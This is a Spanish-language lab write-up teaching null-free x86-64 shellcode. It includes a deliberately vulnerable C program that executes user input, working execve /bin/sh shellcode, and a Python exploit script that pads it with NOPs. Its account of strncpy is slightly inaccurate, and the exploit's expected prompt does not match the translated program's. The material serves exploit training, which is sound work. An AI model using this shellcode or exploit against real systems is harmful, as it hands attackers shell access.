Shellcode Restringido¶
A menudo, nuestro input comienza su viaje hacia el runtime de un proceso como un string estilo C. En otras ocasiones, nuestro input debe pasar varias verificaciones de formato o lógica antes de llegar a una ubicación vulnerable en el código.
Este nivel te dará práctica navegando el proceso de shellcoding frente a una restricción común: la ausencia requerida de bytes NULL.
Resultados de Aprendizaje Familiarizarte con la modificación de shellcode para cumplir restricciones contextuales
Restricciones de Bytes NULL¶
La mayoría de las funciones estándar de la biblioteca C que operan en strings usan el byte null (0x00) como terminador. Dejarán de procesar datos una vez que encuentren un byte null.
Esto puede ser problemático para el shellcode, ya que estas funciones de manipulación de strings son a menudo cómo introducimos nuestro shellcode en un proceso en ejecución.
Intenta ejecutar el shellcode a continuación:
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
Ensamblador del Shellcode original¶
xor esi,esi
movabs rbx,0x68732f6e69622f
push rsi
push rbx
push rsp
pop rdi
push 0x3b
pop rax
xor edx,edx
syscall
Código¶
// gcc -g -I ../includes -O0 -z execstack -fno-stack-protector -no-pie -o nullfree nullfree.c
#include <stdio.h>
#include <string.h>
// Oculto por simplicidad
#include <wargames.h>
void main()
{
init_wargame();
printf("------------------------------------------------------------\n");
printf("--[ Shellcoding - Shellcode Libre de NULL \n");
printf("------------------------------------------------------------\n");
// Buffer para almacenar input del usuario y shellcode
char buffer[512] = {};
char shellcode[512] = {};
// A menudo el shellcode entrará a un proceso como string
printf("Ingresa un string: ");
fgets(buffer, sizeof(buffer), stdin);
// Las funciones de string como strcpy dejarán de copiar datos al
// alcanzar el primer byte NULL (el terminador NULL)
strncpy(shellcode, buffer, sizeof(shellcode));
memset(buffer, 0, sizeof(buffer));
// Como resultado, a menudo es necesario escribir shellcode
// que esté libre de cualquier byte 'NULL' (\x00)
printf("Llamando lo que debe ser shellcode 'libre de NULL'...\n");
((void (*)(void))shellcode)(); // Llamada al shellcode
}
Como se podría haber esperado, el shellcode proporcionado no funcionó "out of the box".
Investiguemos esto estableciendo un breakpoint en la instrucción call que ejecuta nuestro shellcode y ejecutando nuestro script de python nuevamente.
Ahora, vamos a volcar el contenido de $rax tanto como instrucciones como datos para ver qué está pasando:
wdb> x/10i $rax
0x7fffffffe9d0: xor esi, esi
0x7fffffffe9d2: movabs rbx, 0x68732f6e69622f
0x7fffffffe9dc: add byte ptr [rax], al
0x7fffffffe9de: add byte ptr [rax], al
0x7fffffffe9e0: add byte ptr [rax], al
0x7fffffffe9e2: add byte ptr [rax], al
0x7fffffffe9e4: add byte ptr [rax], al
0x7fffffffe9e6: add byte ptr [rax], al
0x7fffffffe9e8: add byte ptr [rax], al
0x7fffffffe9ea: add byte ptr [rax], al
wdb> x/40bx $rax
0x7fffffffe9d0: 0x31 0xf6 0x48 0xbb 0x2f 0x62 0x69 0x6e
0x7fffffffe9d8: 0x2f 0x73 0x68 0x00 0x00 0x00 0x00 0x00
0x7fffffffe9e0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe9e8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe9f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x68732f6e69622f = /bin/sh
Mirando la salida de los dos comandos, podemos ver que solo una pequeña porción de nuestro shellcode original fue copiada al buffer
Esto se debe a que strncpy se detiene en los bytes null
Exploit¶
import interact
import struct
# Empaqueta el entero 'n' en una representación de 8 bytes
def p64(n):
return struct.pack('Q', n)
# Desempaqueta el string de 8 bytes 's' en un entero de Python
def u64(s):
return struct.unpack('Q', s)[0]
p = interact.Process()
# data = p.readuntil('\n')
shellcode = b"\x31\xF6\x48\xBB\x2F\x2F\x62\x69\x6E\x2F\x73\x68\x56\x53\x54\x5F\x6A\x3B\x58\x31\xD2\x0F\x05"
# Relleno de NOPs para completar los 511 bytes.
padding = b'\x90' * (511 - len(shellcode))
# Payload final.
payload = shellcode + padding
p.readuntil(b'Enter a string: ')
p.sendline(payload)
p.interactive()
Ensamblador de Shellcode corregido¶
xor esi,esi
movabs rbx,0x68732f6e69622f2f
push rsi
push rbx
push rsp
pop rdi
push 0x3b
pop rax
xor edx,edx
syscall
0x68732f6e69622f2f = //bin/sh
Solución¶
Ese null byte del shellcode original puede ser evitado usando //bin/sh en lugar de /bin/sh. Pues al tener 7 bytes, el resto del registro se llena con ceros automáticamente.
Entonces si agregamos una / más se alinea correctamente y no necesitamos el null byte. (Y agregar los NOP al final para completar los 511 bytes).
Estos 512 bytes son necesarios porque el buffer del programa es de 512 bytes y strncpy copiará hasta 511 bytes y luego agregará un null byte al final.